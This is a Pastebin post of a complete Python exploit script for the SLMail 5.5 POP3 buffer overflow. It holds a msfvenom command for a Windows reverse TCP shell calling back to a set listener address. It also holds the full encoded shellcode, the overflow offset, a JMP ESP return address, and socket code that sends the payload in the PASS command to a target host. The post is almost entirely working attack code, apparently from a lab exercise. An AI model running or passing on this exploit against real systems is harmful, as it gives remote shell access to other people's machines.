DarkProgrammer000

Exploit [SLMAIL 5.5_buffer_overflow]

Oct 23rd, 2019
341
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # Biblioteca
  2. import socket
  3.  
  4. #badchars = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
  5.  
  6. ## badchar encontrados = "\x00\x0a\x0d\x20"
  7.  
  8. # ---------------------------------------------------------------------------------------------------- #
  9. #  msfvenom -p windows/shell_reverse_tcp LHOST=172.16.0.126 LPORT=666 -b "\x00\x0a\x0d\x20" -f python  #
  10. # ---------------------------------------------------------------------------------------------------- #
  11.  
  12. # Shell_Code
  13. buf =  ""
  14. buf += "\xbf\xbc\x91\xc9\x72\xdd\xc4\xd9\x74\x24\xf4\x5d\x29"
  15. buf += "\xc9\xb1\x52\x31\x7d\x12\x03\x7d\x12\x83\x51\x6d\x2b"
  16. buf += "\x87\x55\x66\x2e\x68\xa5\x77\x4f\xe0\x40\x46\x4f\x96"
  17. buf += "\x01\xf9\x7f\xdc\x47\xf6\xf4\xb0\x73\x8d\x79\x1d\x74"
  18. buf += "\x26\x37\x7b\xbb\xb7\x64\xbf\xda\x3b\x77\xec\x3c\x05"
  19. buf += "\xb8\xe1\x3d\x42\xa5\x08\x6f\x1b\xa1\xbf\x9f\x28\xff"
  20. buf += "\x03\x14\x62\x11\x04\xc9\x33\x10\x25\x5c\x4f\x4b\xe5"
  21. buf += "\x5f\x9c\xe7\xac\x47\xc1\xc2\x67\xfc\x31\xb8\x79\xd4"
  22. buf += "\x0b\x41\xd5\x19\xa4\xb0\x27\x5e\x03\x2b\x52\x96\x77"
  23. buf += "\xd6\x65\x6d\x05\x0c\xe3\x75\xad\xc7\x53\x51\x4f\x0b"
  24. buf += "\x05\x12\x43\xe0\x41\x7c\x40\xf7\x86\xf7\x7c\x7c\x29"
  25. buf += "\xd7\xf4\xc6\x0e\xf3\x5d\x9c\x2f\xa2\x3b\x73\x4f\xb4"
  26. buf += "\xe3\x2c\xf5\xbf\x0e\x38\x84\xe2\x46\x8d\xa5\x1c\x97"
  27. buf += "\x99\xbe\x6f\xa5\x06\x15\xe7\x85\xcf\xb3\xf0\xea\xe5"
  28. buf += "\x04\x6e\x15\x06\x75\xa7\xd2\x52\x25\xdf\xf3\xda\xae"
  29. buf += "\x1f\xfb\x0e\x60\x4f\x53\xe1\xc1\x3f\x13\x51\xaa\x55"
  30. buf += "\x9c\x8e\xca\x56\x76\xa7\x61\xad\x11\x64\x65\xad\x9f"
  31. buf += "\x1c\x84\xad\x5d\x47\x01\x4b\x0b\x67\x44\xc4\xa4\x1e"
  32. buf += "\xcd\x9e\x55\xde\xdb\xdb\x56\x54\xe8\x1c\x18\x9d\x85"
  33. buf += "\x0e\xcd\x6d\xd0\x6c\x58\x71\xce\x18\x06\xe0\x95\xd8"
  34. buf += "\x41\x19\x02\x8f\x06\xef\x5b\x45\xbb\x56\xf2\x7b\x46"
  35. buf += "\x0e\x3d\x3f\x9d\xf3\xc0\xbe\x50\x4f\xe7\xd0\xac\x50"
  36. buf += "\xa3\x84\x60\x07\x7d\x72\xc7\xf1\xcf\x2c\x91\xae\x99"
  37. buf += "\xb8\x64\x9d\x19\xbe\x68\xc8\xef\x5e\xd8\xa5\xa9\x61"
  38. buf += "\xd5\x21\x3e\x1a\x0b\xd2\xc1\xf1\x8f\xe2\x8b\x5b\xb9"
  39. buf += "\x6a\x52\x0e\xfb\xf6\x65\xe5\x38\x0f\xe6\x0f\xc1\xf4"
  40. buf += "\xf6\x7a\xc4\xb1\xb0\x97\xb4\xaa\x54\x97\x6b\xca\x7c"
  41.  
  42. # Registradores
  43. nop = "\x90" * 13
  44. buffer = "A" * 2606
  45. eip = "\x7b\x46\x86\x7c" # JMP ESP
  46.  
  47. # Socket
  48. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  49.  
  50. # Conexao e captura de resposta do servidor
  51. s.connect(('172.16.2.98', 110))
  52. resp = s.recv(1024)
  53.  
  54. # Enviando USER e capturando resposta do servidor
  55. s.send("USER gui\n")
  56. resp = s.recv(1024)
  57.  
  58. # Enviando PASS capturando resposta do servidor
  59. s.send("PASS " + buffer + eip + nop + buf + "\n")
  60. resp = s.recv(1024)
  61.  
  62. # Fechando conexao
  63. s.close()
RAW Paste Data